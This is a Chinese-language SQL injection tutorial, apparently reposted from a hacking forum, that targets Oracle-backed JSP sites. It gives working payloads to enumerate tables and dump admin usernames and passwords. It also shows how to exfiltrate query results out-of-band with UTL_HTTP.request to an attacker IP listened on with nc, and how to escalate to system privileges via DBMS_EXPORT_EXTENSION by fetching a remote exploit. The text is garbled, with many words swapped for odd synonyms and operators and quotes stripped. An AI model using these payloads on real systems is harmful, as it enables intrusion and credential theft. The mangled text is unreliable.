From:www.taskkill.net/read.php/6.htm
大家都晓得oracle比较大,11g的装置程序大概在1.4g左右,可能大家碰到oracle的库比拟少,oracle+jsp的搭配的比较好...
oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限..
先说下数据库的解释:access支撑null和00正文; mssql支持和;的注视;mysql支持/.的支持;oracle支持的注目
这里兴许大家说了如果mssql过滤了;凝视,该怎么差别oracle和mssql数据库呢,如果是oracle的库,一旦犯错的话,良多时候就会呈现oracle.odbc等之类的存储进程出错的语句,也可以通过; and user() 0来判定mssql,从而消除oracle的库
现在来说注入:
第一种方式使用dual体系表
一、判断注入数字型:and 11 and 10 字符型: \'and\' 1\'\'1 \'and\' 1\'\'0 搜寻型: xx\' and 11 and \'\'\' xx\' and 12 and \'\'\'(xx必需是在页面中存在的字符串) 文本型:url\'2B\'返回畸形 url"2B\'asdfg返回出错(asdfg是随意输入的字符串)
二、长度判断你可以抉择union select null,null,null.....(用null,null,null而没有用1,2,3是为了防止类型的问题,当断定下来后可以一一来调换类型,oracle是不会主动匹配类型滴) order by 我感到比较费事,我个别都是order by
三、断定dual表是不是存在(这篇文章是针对dual表存在的情形进行注入的,假如不存在的话,工具要是跑不来的话就是膂力活了) url and exist (select . from dual)
四、进行注入假设:www.abc./abc.jspid1存在注入,而且有7个字段而且都是整型,索引值是在2处
1.判断oracle版本 www.abc./abc.jspid1 and 12 union select 1,(select banner from sys.v_ version where rownum1),3,4,5,6,7 from dual
2.判断当前衔接用户 www.abc./abc.jspid1 and 12 union select 1,(select sys_context(\'userenv\',\'current_user\' from dual)),3,4,5,6,7 from dual
3.爆表 www.abc./abc.jspid1 and 12 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有请求,有些时候可能由于长度不够有些表不显示出来,假设上面爆出来的有admin表
4.爆字段 www.abc./abc.jspid1 and 12 union select 1,column_name,3,4,5,6,7 from cols where table_nameadmin(假设是username和password)
5.爆字段内容 www.abc./abc.jspid1 and 12 union select 1,username,3,4,5,6,7 from admin www.abc./abc.jspid1 and 12 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了
第二种办法配合utl_存储过程
如果想检测一下UTL_包是否存在可以使用语句" select count(.) from all_objects where object_name\'UTL_\' "来判断。OK既然是反回信息我们先在本地用NC监听,然后使用"and UTL_.request(\'IP:2009/\'''(查问语句))1"这样的情势。
本地先 nc l vv p 2009,而后提交"and UTL_HTTP.request(\'IP:2009/\'''(select banner from sys.v_ version where rownum1))1"
胜利返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段肯定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交
"and UTL_.request(\'ip:2009/\'''(select owner from all_tables where rownum1))1"
假设爆出第一个库的名字为SYS。继承爆第二个库名,提交
"and UTL_HTTP.request(\'IP:2009/\'''(select owner from all_tables where owner \'SYS\' and rownum1))1"以此类推,爆出所有的库
爆表语句如下
提交"and UTL_HTTP.request(\'IP:2009/\'''(select TABLE_NAME from all_tables where owner\'SYS\'and rownum1))1"
SYS库中第一个表为xxx。继续提交
"and UTL_HTTP.request(\'IP:2009/\'''(select TABLE_NAME from all_tables where owner\'SYS\'and rownum1 and TABLE_NAME \'xxx\'))1"
以此类推爆出SYS库中所有的表;如果须要爆表里有多少个列可以用
"and UTL_.request(\'IP:2009/\'''(select count(.) from user_tab_columns where table_name\'表名\'))1"
或者想要爆第一个列名可以使用
"and UTL_.request(\'IP:2009/\'''(select . from user_tab_columns where table_name\'表名\' and rownum1))1"
爆第二个列名使用
"and UTL_.request(\'IP:2009/\'''(select . from user_tab_columns where table_name\'表名\' and rownum1 and COLUMN_NAME \'第一个爆出的列名\'))1"
以此类推就能够爆出所有的列名。当初咱们持续爆用户跟密码,提交
"and UTL_.request(\'IP:2009/\'''(select 字段名1 from TBL_USER_MANAGER_BASE where rownum1))1"
爆密码提交
"and UTL_HTTP.request (\'IP:2009/\'''(select PASSWORD from TBL_USER_MANAGER_BASE where rownum1))1"
首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web打针直接取得系统权限,呵呵,无比诱人吧!我们先来看看这个函数的应用。如下。
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);.多语句.END;\',\'SYS\',0,\'1\',0)
多语句里写上我们的exploit,然而这样会造成我们构造的语句十分宏大,所以这里我们可以应用utl_.request来获取我们放在远程及其上的exploit。到这里我们的语句就结构完了。